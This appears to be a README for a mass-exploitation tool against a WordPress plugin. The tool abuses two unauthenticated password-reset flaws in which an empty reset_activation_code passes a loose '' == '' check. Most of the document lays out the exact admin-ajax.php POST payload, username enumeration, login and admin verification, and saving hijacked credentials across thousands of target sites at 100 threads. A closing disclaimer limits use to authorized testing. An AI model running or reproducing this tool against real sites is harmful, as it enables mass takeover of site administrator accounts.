
'reset_user_id' パラメータを介した脆弱なパスワードリセット検証による未認証アカウント乗っ取り | 'reset_activation_code' を介した脆弱なパスワードリセット検証による未認証の権限昇格がアカウント乗っ取りにつながる
「reset_user_id」パラメータを介した脆弱なパスワードリセット検証を悪用した未認証のアカウント乗っ取り | 「reset_activation_code」を介した脆弱なパスワードリセット検証を悪用した未認証の権限昇格によるアカウント乗っ取り
作者: Khaled Alenazi (Nxploited)
脆弱なパスワードリセット検証による未認証の権限昇格
| フィールド | 値 |
|---|---|
| CVSS | 9.8 緊急 |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 公開日 | 2026年6月23日 |
| 研究者 | Alyudin Nafiie |
pravel_change_password() 関数は wp_ajax_nopriv ハンドラとして登録されており、認証なしでアクセス可能です。この関数は nonce 検証も権限チェックも行いません。唯一の防御は、攻撃者が指定した reset_activation_code とユーザーの forgot_email メタ値との緩い等価比較のみです。パスワードリセットを一度も実行したことがないユーザーの場合、get_user_meta() は空文字列を返すため、コードを省略または空にすることで '' == '' が成立します。したがって、未認証の攻撃者は action=pravel_change_password、reset_user_id に任意のユーザー ID(管理者アカウントを含む)、new_password_custom に任意のパスワードを指定した細工済み POST を admin-ajax.php に送信するだけで、完全なアカウント乗っ取りを達成できます。
脆弱なパスワードリセット検証による未認証のアカウント乗っ取り
| フィールド | 値 |
|---|---|
| CVSS | 9.8 緊急 |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 公開日 | 2026年6月23日 |
| 研究者 | Alyudin Nafiie |
pravel_invoice_change_password() 関数も同様に、nonce も認可チェックもない nopriv AJAX ハンドラとして公開されています。同じ '' == '' バイパスが適用されます。パスワード忘れフローを一度も使用したことがない管理者に対して空の reset_activation_code を送信すると、即座にパスワードリセットが可能になります。攻撃者は reset_user_id で対象を、new_password_custom で新しい認証情報を制御します。
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
ターミナル:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
結果ファイル (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
依存パッケージ:
pip install requests rich colorama urllib3
このツールは認可されたセキュリティ調査およびペネトレーションテスト専用に提供されます。
所有していない、または明示的な書面による許可を得ていないシステムへの使用は違法です。
このツールの誤用または損害について、作者は一切の責任を負いません。
すべての CVE 詳細は公開されている脆弱性データベースから取得されています。
作者: Khaled Alenazi (Nxploited)